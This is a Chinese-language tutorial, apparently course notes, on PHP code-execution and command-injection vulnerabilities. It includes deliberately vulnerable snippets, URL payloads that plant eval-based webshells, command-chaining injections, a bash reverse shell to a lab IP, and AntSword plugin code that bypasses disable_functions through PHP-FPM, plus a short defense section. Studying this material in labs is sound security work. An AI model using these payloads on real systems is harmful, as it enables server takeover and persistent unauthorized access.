关联阅读 https://cloud.tencent.com/developer/article/2090709
任意代码执行与任意命令执行的区别
"任意命令执行漏洞"和"任意代码执行漏洞"都是安全漏洞,但它们的关注点和影响有所不同:
- 任意命令执行漏洞:
- 这种漏洞通常出现在应用程序接受外部输入并将其传递给系统命令解释器(如Shell)的情况下。攻击者可以通过构造恶意输入来执行系统命令。
- 攻击者可以执行操作系统命令,例如创建、删除、修改文件,查看系统信息,执行其他系统管理任务,以及潜在的危险操作。
- 这种漏洞通常涉及到不正确的输入验证和不安全的命令拼接。
- 任意代码执行漏洞:
- 这种漏洞通常出现在应用程序接受外部输入并将其作为代码执行的情况下。攻击者可以通过构造恶意输入来执行任意代码。
- 攻击者可以执行任何可用的代码,不仅限于系统命令,也包括应用程序内部的函数、方法和脚本代码。
- 这种漏洞通常涉及到不正确的输入验证、不安全的代码执行和不适当的沙盒化。
总的来说,虽然这两种漏洞都可能导致恶意代码的执行,但任意命令执行漏洞更具体,主要涉及到操作系统级别的命令执行,而任意代码执行漏洞更通用,可以导致执行任意代码,包括应用程序级别的代码。应用程序开发人员和安全专家需要密切关注并修复这些漏洞,以防止潜在的攻击。
任意代码执行漏洞
代码执行漏洞是由于服务器对危险函数过滤不严导致用户输入的一些字符串可以被转换成代码来执行,从而造成代码执行漏洞
成因
用户能够控制函数输入
存在可执行代码的危险函数常见代码执行函数
PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec
危害
1、执行任意代码
2、向网站写WebShell
3、控制整个网站甚至服务器
代码执行和命令执行区别
代码执行和命令执行的区别在于一个是执行的脚本代码,一个是执行的系统命令。
实验一
后端代码
<?php
function string2array($data)
{
if($data ==''){
return array();//返回一个空数组
}
//以字符串的方式定义一个变量接收的数组
@eval("\$array = $data;");
var_dump($array);
return $array;
}
string2array($_GET['data']);
地址栏进行GET方式传参
http://192.168.1.187/RCE.php/?data=file_put_contents('shell.php','<?php eval($_REQUEST["cmd"])?>');
可以执行任意命令
简单的AntSwod使用
右键添加数据
URL地址写有漏洞的文件地址,连接密码是进行传参的值,注意现在AntSword只支持POST方式连接,所以可以在有漏洞的页面进行一个文件写入
现在Windows支持任意代码执行进行连接,不支持任意命令进行连接
http://192.168.1.187/RCE.php/?data=file_put_contents('shell.php','<?php eval($_REQUEST["cmd"])?>');
之后把地址和连接密码改变就可以
相关函数
eval注意点
eval
是 PHP 中的一个语言构造(语言结构),而不是函数。与函数不同,语言结构在 PHP 中具有特殊的语法和行为,不需要使用括号来调用。
eval
的作用是执行包含 PHP 代码的字符串。您可以将包含 PHP 代码的字符串传递给 eval
,然后它会执行其中的代码。这在某些情况下可能会很有用,但也容易引起安全问题,因此应小心使用。
示例:
$code = 'echo "Hello, World!";';
eval($code); // 输出:Hello, World!
需要特别小心,因为滥用 eval
可能会导致代码执行不受控制,特别是当字符串中包含用户输入或不受信任的数据时。在编写 PHP 代码时,请遵循最佳安全实践,尽量避免使用 eval
,特别是在处理来自外部的数据时。
eval ()
assert ()
preg_replace ()+ /e 模式
create_function ()
array_map ()
call_user_func ()
call_user_func_array ()
array_filter ()
usort (), uasort ()
$_GET[' a' ] ($_GET[' b ']);
这里是对这些 PHP 函数和语句的简要解释:
eval()
函数:eval()
函数用于执行作为字符串传递的 PHP 代码。它通常不安全,因为它可以执行任何 PHP 代码,因此不建议在不受信任的输入中使用它。assert()
函数:assert()
函数用于检查一个表达式是否为真,如果表达式为假,则引发一个致命错误。它通常用于调试和测试,但不应在生产环境中使用。preg_replace()
函数:preg_replace()
是 PHP 中的正则表达式替换函数,它用正则表达式模式搜索字符串并替换匹配的部分。但要小心,因为它也可以用于执行代码替换。create_function()
函数:create_function()
用于在运行时创建匿名函数。这个函数在较旧的 PHP 版本中使用,但已不建议使用。应该使用匿名函数(闭包)来代替。array_map()
函数:array_map()
用于将一个回调函数应用到数组中的每个元素,并返回一个新数组,其中包含回调函数的返回值。call_user_func()
函数:call_user_func()
用于调用一个用户定义的函数,可以接受任意数量的参数。函数名称作为字符串传递,以及可选的参数列表。call_user_func_array()
函数:类似于call_user_func()
,但参数以数组形式传递,这在需要动态确定参数数量的情况下很有用。array_filter()
函数:array_filter()
用于从数组中过滤出符合条件的元素,根据提供的回调函数来决定哪些元素包括在结果数组中。usort()
和uasort()
函数:这两个函数用于对数组进行排序,可以自定义排序规则,通过提供回调函数来比较数组元素。usort()
对普通数组排序,uasort()
用于关联数组。$_GET['a']($_GET['b'])
:这是 PHP 中的一种动态调用函数的方式,其中函数名和参数是从$_GET
超全局数组中获取的。这非常危险,因为它允许远程用户调用任何可访问的函数,可能导致安全风险。
总之,这些函数和语句在 PHP 中具有不同的功能和用途,但需要小心使用,尤其是在处理用户输入或不受信任的数据时,以防止安全漏洞。在编写 PHP 代码时,请谨慎使用这些功能,并始终考虑安全性。
以下是对这些函数和语句的用法以及示例的解释:
eval()
函数:
- 用途:执行字符串中的 PHP 代码。
- 示例:
php $code = 'echo "Hello, World!";'; eval($code); // 输出:Hello, World!
assert()
函数:
- 用途:检查表达式是否为真,否则抛出错误。
- 示例:
php assert(2 + 2 == 4); // 不会引发错误
preg_replace()
函数:
- 用途:使用正则表达式替换字符串。
- 示例:
php $string = "Hello, <b>World</b>!"; $pattern = "/<b>(.*?)<\/b>/"; $replacement = "[$1]"; $result = preg_replace($pattern, $replacement, $string); echo $result; // 输出:Hello, [World]!
create_function()
函数:
- 用途:创建匿名函数(已不建议使用,推荐使用闭包)。
- 示例:
php $add = create_function('$a, $b', 'return $a + $b;'); echo $add(2, 3); // 输出:5
array_map()
函数:
- 用途:对数组的每个元素应用回调函数。
- 示例:
php $numbers = [1, 2, 3, 4, 5]; $squared = array_map(function ($n) { return $n * $n; }, $numbers); print_r($squared); // 输出:Array ( [0] => 1 [1] => 4 [2] => 9 [3] => 16 [4] => 25 )
call_user_func()
函数:
- 用途:以字符串形式调用函数。
- 示例:
php function greet($name) { echo "Hello, $name!"; } call_user_func('greet', 'Alice'); // 输出:Hello, Alice!
call_user_func_array()
函数:
- 用途:以数组形式调用函数,允许传递动态参数。
- 示例:
php function multiply($a, $b) { return $a * $b; } $params = [2, 3]; $result = call_user_func_array('multiply', $params); echo $result; // 输出:6
array_filter()
函数:
- 用途:从数组中过滤出符合条件的元素。
- 示例:
php $numbers = [1, 2, 3, 4, 5]; $evenNumbers = array_filter($numbers, function ($n) { return $n % 2 == 0; }); print_r($evenNumbers); // 输出:Array ( [1] => 2 [3] => 4 )
usort()
和uasort()
函数:
- 用途:自定义排序数组的元素。
- 示例:
php $fruits = ['apple', 'banana', 'cherry']; usort($fruits, function ($a, $b) { return strlen($a) - strlen($b); }); print_r($fruits); // 输出:Array ( [0] => apple [1] => cherry [2] => banana )
$_GET['a']($_GET['b'])
:- 用途:以 GET 请求参数作为函数名来调用函数。
- 示例(慎用,容易引发安全问题):
php // 假设 URL 为:http://example.com/script.php?a=my_function&b=42 if (isset($_GET['a']) && function_exists($_GET['a'])) { $functionName = $_GET['a']; $parameter = $_GET['b']; $result = $functionName($parameter); echo $result; // 可能会调用 my_function(42) }
需要特别注意的是,在处理用户输入时,必须非常小心,以防止安全漏洞,特别是在使用 eval()
、assert()
和从用户输入调用函数时。应该遵循最佳安全实践来防止潜在的攻击。
eval函数
一般eval后面带传参,安全软件直接查杀
payload
file_put_contents('1.php','<?php eval($_REQUEST[1]);?>');
利用一
一定要注意闭合,分号为结束前面的php语句
http://127.0.0.1/rce/eval.php/?data=phpinfo()
http://127.0.0.1/rce/eval.php/?data=1;phpinfo()
http://127.0.0.1/rce/eval.php/?data=${phpinfo()}(情况是在双引号内部需要这样)
利用二
一定要注意闭合
后端代码
<?php
//关闭魔术方法
//strtolower 把字符串转为小写
$data=$_GET['data'];
//单引号方式
eval("\$ret = strtolower('$data');");
echo $ret;
?>
我们需要进行闭合
第一种为使用注释,第二个为不使用注释,分号为结束上一个PHP语句
payload
http://127.0.0.1/rce/eval.php/?data=1');phpinfo();//
http://127.0.0.1/rce/eval.php/?data=1');phpinfo();('
利用三
该方法需要注意PHP版本
后端代码
<?php
//双引号的方式
$data=$_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
?>
区别就是使用双引号闭合
payload
http://127.0.0.1/rce/eval.php/?data=1");phpinfo();//
http://127.0.0.1/rce/eval.php/?data=");phpinfo();("1
双引号非闭合方式: 有版本要求(>=php5.5,<7.0)
http://127.0.0.1/rce/eval.php/?data=${phpinfo()}
assert函数
assert
函数是 PHP 中的一个调试工具,用于检查一个表达式是否为真。如果表达式为假,assert
函数会引发一个致命错误,导致脚本终止执行。在生产环境中,通常会将 assert
关闭以提高性能和安全性,但在开发和调试阶段,它可以帮助开发人员快速发现问题。
assert
函数的基本语法如下:
assert(expression, description);
expression
是一个要检查的表达式,可以是一个布尔表达式或任何能够被强制转换为布尔值的表达式。description
是一个可选参数,用于提供有关为什么表达式失败的信息,通常是一个字符串。
下面是一些示例,说明如何使用 assert
函数:
// 检查一个简单的条件
assert(2 + 2 == 4);
// 带有描述信息的检查
assert(42 > 50, "42 没有大于 50");
// 使用变量进行检查
$age = 25;
assert($age >= 18, "未成年人无法访问此内容");
在开发和调试过程中,assert
函数可以帮助开发人员快速捕捉和诊断问题,但在生产环境中,请确保关闭 assert
,以提高性能和防止潜在的安全问题。可以在 PHP 配置文件中设置 assert.active
为 0 来关闭 assert
。
assert.active = 0
请注意,assert
函数应谨慎使用,因为在某些情况下,它可能会引发不希望的错误,或者可能会导致潜在的安全问题,特别是当用户可以控制传递给 assert
的表达式时。
assert函数使用
后端代码
<?php
//内部值会执行php代码
//assert(phpinfo());
//一句话木马
assert($_REQUEST['1']);
?>
因为我用的$_REQUEST所以可以使用GET或者POST方式
payload
http://127.0.0.1/rce/assert.php/?1=phpinfo()
preg_replace()函数/e模式
利用一
利用二
后端代码
<?php
$str = 'sCdScds';
//使用/e修饰符
$preg = '/\w+/ie';
//如果这里替换的字符可控
$aa = "$_POST[1]";
//进行替换
echo preg_replace($preg, $aa, $str);
?>
payload
需要在请求体中进行注入
1=phpinfo();
利用三
后端代码
<?php
$data = $_GET['data'];
//正则匹配
$preg = '/<data>(.*)<\/data>/e';
//正则替换 匹配的正则 替换的内容 操作的字符串
preg_replace($preg,'$ret="\\1";', $data);
echo $ret;
?>
payload
使用${ } 不然内容会被当做字符串输出/?data=<data>${phpinfo()}</data>
但是有版本限制,需要php版本大于等于5.5小于5.7,要不然如下图
create_function () 函数
原理是利用创建匿名函数
利用一
利用二
后端代码
<?php
//函数内部执行代码
$func = create_function('',$_POST[1]);
$func();
?>
利用AntSword工具进行攻击
array_map()函数
利用一
后端代码
<?php
//传递函数名
$f = $_GET['f']; //assert
//传递php执行代码
$c = $_POST['c']; //phpinfo()
$a[0] = $c;
//函数名(必填) 需要修改的数组(必须填)1个或多个
// array_map(functionName,arr1,arr2...)
$arr = array_map($f,$a);
//var_dump ($arr);
?>
payload
地址栏注入
?f=assert
需要在请求体中进行注入
c=phpinfo()
利用二
利用AntSword工具进行攻击
payload
call_user_func()函数
利用一
后端代码
<?php
//查看PHP版本 函数名 + php代码
// call_user_func('assert','phpinfo()');
$a = $_GET['a']; //函数名 例:assert
$b = $_POST['b']; //一句话连接密码
call_user_func($a,$b); //assert $_POST['b']
// 函数 数组参数
// call_user_func_array(function, param_arr)
$a = $_GET['a'];
$b = $_POST['b'];
$c[0] = $b;
call_user_func_array($a, $c);
?>
payload
地址栏?a=assert
请求体b=phpinfo()
利用二
后端代码
<?php
//函数名 例:assert
$a = $_GET['a'];
//一句话连接密码
$b = $_POST['b'];
call_user_func($a,$b);
?>
payload
call_user_func_array () 函数
和call_user_func()原理一样
利用一
后端代码
<?php
//查看PHP版本 函数名 + php代码
// call_user_func('assert','phpinfo()');
$a = $_GET['a']; //函数名 例:assert
$b = $_POST['b']; //一句话连接密码
call_user_func($a,$b); //assert $_POST['b']
// 函数 数组参数
// call_user_func_array(function, param_arr)
$a = $_GET['a'];
$b = $_POST['b'];
$c[0] = $b;
call_user_func_array($a, $c);
?>
payload
地址栏?a=assert
请求体b=phpinfo()
利用二
后端代码
<?php
// 回调函数 数组类型参数
// call_user_func_array(function, param_arr)
$a = $_GET['a']; //函数名
$b = $_POST['b']; //函数参数
$c[0] = $b; //数组方式存放参数
call_user_func_array($a, $c);
?>
payload
array_filter () 函数
利用一
后端代码
<?php
// 数组 回调函数
//array_filter($arr,function);
$aa = $_GET['aa'];//输入函数名
$bb = $_POST['bb']; //函数参数
$arr[0] = $bb; //放入数组
array_filter($arr, $aa);
payload
地址栏?a=assert请求体b=phpinfo()
利用二
后端代码
<?php
// 数组 回调函数
//array_filter($arr,function);
$aa = $_GET['aa'];//输入函数名
$bb = $_POST['bb']; //函数参数
$arr[0] = $bb; //放入数组
array_filter($arr,$aa); //assert $_POST['bb']
?>
payload
usort()和uasort()函数
利用一
<?php
//元素排序 数组 自定义排序函数
// usort(array, myfunction)
//版本需要5.4+//元素排序 数组 自定义排序函数
// usort(array, myfunction)$a = $_POST['a'];
//这里注意第一个变量数组需要在首位增加一个任意元素
$b[0] = 1;$b[1] = $a;
var_dump($b);
$c = $_GET['c'];
usort($b, "$c");
?>
后端代码
<?php
//元素排序 数组 自定义排序函数
// usort(array, myfunction)
//版本需要5.4+ (注意数组至少要有2个元素)
usort($_GET, 'assert');
?>
payload
http://127.0.0.1/rce/usort.php?1=1&2=phpinfo()
地址栏 http://127.0.0.1/rce/usort.php?1=1&2=eval($_POST[1])
请求体 1=phpinfo();
利用二
后端代码
<?php
//版本需要5.4+
//元素排序 数组 自定义排序函数
// usort(array, myfunction)
$a = $_POST['a'];
//参数1必须是数组
$b[0] = 1;
$b[1] = $a;
//var_dump($b);
$c = $_GET['c'];
usort($b, $c);
?>
payload
$_GET'a'
后端代码
payload
php think框架传参语句
防御措施
- 尽量不要使用系统执行命令
- 在进入执行命令函数/方法前,变量要做好过滤,对敏感字符转义
- 在使用动态函数前,确保使用的函数是指定的函数之一
- 对PHP语言,不能完全控制的危险函数就不要用
防止任意代码执行漏洞(包括通过代码注入或其他手段执行恶意代码)非常重要,因为这可能会导致严重的安全问题。以下是一些防御措施:
- 输入验证和过滤:
- 对于来自用户或不受信任来源的输入数据,进行严格的验证和过滤。只接受预期格式和类型的数据,并拒绝不良输入。
- 不信任用户输入:
- 不要将用户输入直接插入到代码中,特别是在数据库查询、命令执行或文件操作中。使用参数化查询、预编译语句和白名单等安全方法。
- 避免动态代码执行:
- 尽量避免在程序中使用动态代码执行函数,如
eval()
、include()
和require()
。如果必须使用,确保传递给它们的参数受到严格的验证和过滤。
- 使用 Web 应用程序防火墙(WAF):
- 部署 WAF 可以帮助检测和阻止常见的恶意代码注入攻击,包括 SQL 注入、XSS 和代码注入。
- 最小权限原则:
- 将应用程序、数据库和服务器配置为以最小权限运行。这意味着不要使用超级用户权限来执行应用程序,而是使用具有适当权限的账户。
- 安全开发实践:
- 在代码编写过程中,遵循安全开发实践,包括对代码进行审查、防范安全漏洞、修补已知漏洞,以及保持应用程序库和框架的更新。
- 监控和日志:
- 设置系统和应用程序的监控和日志记录,以便能够及时检测和响应潜在的安全问题。
- 阻止不必要的执行权限:
- 检查服务器上的文件和目录权限,确保不会给攻击者机会执行不必要的代码。
- 安全编码实践:
- 编写安全的代码,避免在代码中硬编码敏感信息,使用密码哈希和加盐存储密码,以及确保安全的文件上传和下载。
- 教育和培训:
- 培训开发人员和运维人员,使其了解常见的代码执行漏洞和最佳实践。
以上措施可以帮助减少任意代码执行漏洞的风险。然而,安全是一个持续的过程,应该不断评估和改进安全策略以适应不断演变的威胁。
任意命令执行漏洞
关联阅读
https://wh0ale.github.io/2018/12/01/2018-12-01-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
https://cloud.tencent.com/developer/article/2090709
危害
1、继承Web服务器程序的权限,去执行系统命令
2、继承Web服务器程序的权限,读写文件
3、执行命令,反弹shell
利用
这些都是PHP常见调用外部程序的函数
一般disable_function就写这些
windows常见系统命令
Windows系统命令拼接
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
system()函数漏洞利用
如果有写权限的话:
1、反弹shell,尝试提权
2、Linux系统执行pwd得到绝对路径,写一句话木
3、windows系统下执行chdir得到绝对路径,写一句话木马
利用一
后端代码
<?php
$arg = $_GET['arg'];
if ($arg) {
//windows下-n指定ping次数
system("ping -n 3 $arg");
}
?>
利用二
windows后端代码
<?php
$arg = $_GET['a'];
if ($arg) {
system("dir \"$arg\"");
}
?>
对应payload
/?a=./" | "ipconfig
/?a=aa" || "ipconfig
/?a=./" %26 "ipconfig
/?a=./" %26%26 "ipconfig
linux后端代码
<?php
$arg = $_GET['a'];
if ($arg) {
system("ls -al \"$arg\"");
}
?>
对应payload
/?a=./" | "ifconfig
/?a=./" ; "ifconfig
/?a=aa" || "ifconfig
/?a=./" %26 "ifconfig
/?a=./" %26%26 "ifconfig
利用三
linux后端代码
<?php
$arg = $_GET['a'];
if ($arg) {
system("ls -al '$arg' ");
}
?>
windows环境:
<?php
$arg = $_GET['a'];
if ($arg) {
system("dir '$arg'");
}
?>
在单引号内的话,变量不能被解析,因此要想执行命令必须闭 合单引号。
如果有写权限:直接写一句话(windows)
http://192.168.3.25/mingling/system3.php?a=aa' | echo "<?php eval($_POST[1]);?>" > 2.php //
http://192.168.3.25/mingling/system3.php?a=aa' | echo "<?php eval($_POST[1]);?>" > 2.php;
实战
使用任意命令执行生成一个任意代码执行,再用AntSword进行连接
http://127.0.0.1/rce/ping.php/?arg=www.baidu.com%26%26echo+^<?php+@assert($_REQUEST[1]);>>1.php //进行生成任意代码执行文件,因为靶场环境在windows环境下,所以需要把<加上^进行转义
file_put_contents('1.php','<?php eval($_REQUEST[1]);?>'); //有的时候'',外面需要添加'',像'<?php ?>'
实验:远程入侵老师靶机
首先老师的web服务中有pikachu靶场,其中有RCE漏洞,我们进行在该目录下创建一个php文件,payload如下
ipaddress=www.baidu.com&&echo'^<?php @assert($_REQUEST[1]);'>>123456.php&submit=ping
fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');
,我们再用AntSword进行连接,因为现在AntSword只支持POST方式连接,且现在Windows支持任意代码执行进行连接,不支持任意命令进行连接,所以我们写入的是任意代码执行的漏洞
完成连接
反弹shell(Linux环境)
先开启nc
nc -lvp 8888
ipaddress=www.baidu.com&&bash -i >& /dev/tcp/192.168.1.187/8888 0>&1&submit=ping
绕过disable_function
当在php.ini中设置disable_functions = system,passthru,exec,shell_exec,popen,proc_open,把这些函数都禁用,普通手段则会失效
该防御手段只对命令执行有效果
就目前而言,Linux有时候上传成功但是连接不进去,就把shell文件放到根目录, 进行成功绕过,即可成功,再放回原目录即可
回生成一个文件,上边有文件名
更改网址为文件名为新生成的
既可以绕过disable_function,进行执行命令
绕过原理分析
简单地说,就是利用WebShell去连接本地的PHP-FPM端口搞事情,让其另起一个不以php.ini为配置的PHP程序,然后通过连接上传的代理文件直接绕过了原本的PHP程序,从而绕过disable_functions的限制。
.antproxy.php分析
看下.antproxy.php中的代码,向本地监听的63611端口的index.php发送请求:
<?php
set_time_limit(120);
$aAccess = curl_init();
curl_setopt($aAccess, CURLOPT_URL, "http://127.0.0.1:63611/index.php?".$_SERVER['QUERY_STRING']);
...
我们在目标服务器执行netstat看看是不是开启了63611端口的监听:
确实开启了,那这个端口到底属于哪个进程的呢?我们直接ps命令看看:
ps aux | grep 63611
可以看到,启用的程序的命令为:
php -n -S 127.0.0.1:63611 -t /var/www/html
解释一下里面的几个参数:
-S 127.0.0.1:63611:新Web服务的监听地址;
-t /var/www/html/:新HTTP服务的Web根目录,可随便指,只要保证那个目录下面有个PHP WebShell就行,建议是直接指定成Shell当前目录;
-n:表示不使用php.ini,这个新的服务PHP用的是默认配置,是核心所在,从而根本不受php.ini中disable_functions的影响,当使用代理连接到该PHP服务时也就实现Bypass了;
插件源码分析
我们看下蚁剑绕过disable_functions的插件的主要代码,代码在:https://github.com/Medicean/as_bypass_php_disable_functions/blob/7d28318c5f0a795dc96bda95e37d04a05b5bf2a2/core/php_fpm/index.js
这里我们直接看exploit()函数,这里插件exp编写的地方:
// 执行EXP, 必须有这个函数
exploit() {
let self = this;
let fpm_host = '';
let fpm_port = -1;
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
if (self.form.validate()) {
self.cell.progressOn();
let core = self.top.core;
let formvals = self.form.getValues();
let phpbinary = formvals['phpbinary'];
formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();
if (formvals['fpm_addr'].startsWith('unix:')) {
fpm_host = formvals['fpm_addr'];
} else if (formvals['fpm_addr'].startsWith('/')) {
fpm_host = `unix://${formvals['fpm_addr']}`
} else {
fpm_host = formvals['fpm_addr'].split(':')[0] || '';
fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;
}
// 生成 ext
let wdir = "";
if (self.isOpenBasedir) {
for (var v in self.top.infodata.open_basedir) {
if (self.top.infodata.open_basedir[v] == 1) {
if (v == self.top.infodata.phpself) {
wdir = v;
} else {
wdir = v;
}
break;
}
};
} else {
wdir = self.top.infodata.temp_dir;
}
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);
if (!fileBuffer) {
toastr.warning(PHP_FPM_LANG['msg']['genext_err'], LANG_T["warning"]);
self.cell.progressOff();
return
}
new Promise((res, rej) => {
var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
// 上传 ext
core.request(
core.filemanager.upload_file({
path: ext_path,
content: fileBuffer
})
).then((response) => {
var ret = response['text'];
if (ret === '1') {
toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']);
res(ext_path);
} else {
rej("upload extension fail");
}
}).catch((err) => {
rej(err)
});
}).then((p) => {
// 触发 payload, 会超时
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9984',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'PHP_VALUE' => 'extension=${p}',
'PHP_ADMIN_VALUE' => 'extension=${p}',
'CONTENT_LENGTH' => strlen($content)
),
$content
);
sleep(1);
echo(1);
`;
core.request({
_: payload,
}).then((response) => {
}).catch((err) => {
// 超时也是正常
})
}).then(() => {
// 验证是否成功开启
var payload = `sleep(1);
$fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
if(!$fp){
echo(0);
}else{
echo(1);
@fclose($fp);
};`
core.request({
_: payload,
}).then((response) => {
var ret = response['text'];
if (ret === '1') {
toastr.success(LANG['success'], LANG_T['success']);
self.uploadProxyScript("127.0.0.1", port);
self.cell.progressOff();
} else {
self.cell.progressOff();
throw ("exploit fail");
}
}).catch((err) => {
self.cell.progressOff();
toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
})
}).catch((err) => {
self.cell.progressOff();
toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
});
} else {
self.cell.progressOff();
toastr.warning(LANG['form_not_comp'], LANG_T["warning"]);
}
return;
}
其中generateExt()函数的定义在Base.js中:
// 生成扩展
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0, end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if(cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}
简单说下过程:
随机生成一个端口号,作为后续新起的PHP服务的端口;
判断当前PHP-FPM为TCP模式或Unix Socket模式来据此获得FPM地址和端口,用于后面和服务器中FPM服务的访问;
以拼接组成的用于启动新PHP服务的命令的cmd变量为参数,调用generateExt()生成扩展,将cmd内容插入到指定范围内去;
将扩展命名为.xxxxxant_x64.so并上传;
上传成功后,构造并触发payload:先初始化FastCgi客户端,再构造连接服务端PHP-FPM服务的fastcgi协议包、指定PHP_VALUE和PHP_ADMIN_VALUE为上传的扩展文件,最后向目标服务端PHP-FPM服务发送该fastcgi协议请求包,目的是加载执行上传的ext文件、从而新起一个PHP进程;
最后尝试连接本地前面随机生成的端口号,确认payload是否触发成功,若OK则上传代理脚本;
.69773ant_x64.so分析
从前面的代码中的generateExt()函数知道,是直接对二进制数据操作,在start到end中填入cmd。
这里我们将该so文件下载下来,本想逆向看下给出的几个基础框架文件是怎么写的,但是因为so文件格式不对无法用ida直接看.69773ant_x64.so文件,所以这里是用ida打开的Windows版本的ant_x64.dll文件进行查看分析:
可以看到,构造很简单,只有一个函数用于调用执行system(),而start和end区域(ant_x64.dll为1552~1691)就是system()函数内参数的区域,直接往里写就能执行恶意命令,简单粗暴:
这里我们也用WinHex打开.69773ant_x64.so(434~665)文件查看对应区域的内容,确实填充的是新起PHP服务的命令:
关联阅读
http://www.mi1k7ea.com/2019/08/03/%E4%BB%8E%E8%9A%81%E5%89%91%E6%8F%92%E4%BB%B6%E7%9C%8B%E5%88%A9%E7%94%A8PHP-FPM%E7%BB%95%E8%BF%87disable-functions/
Views: 9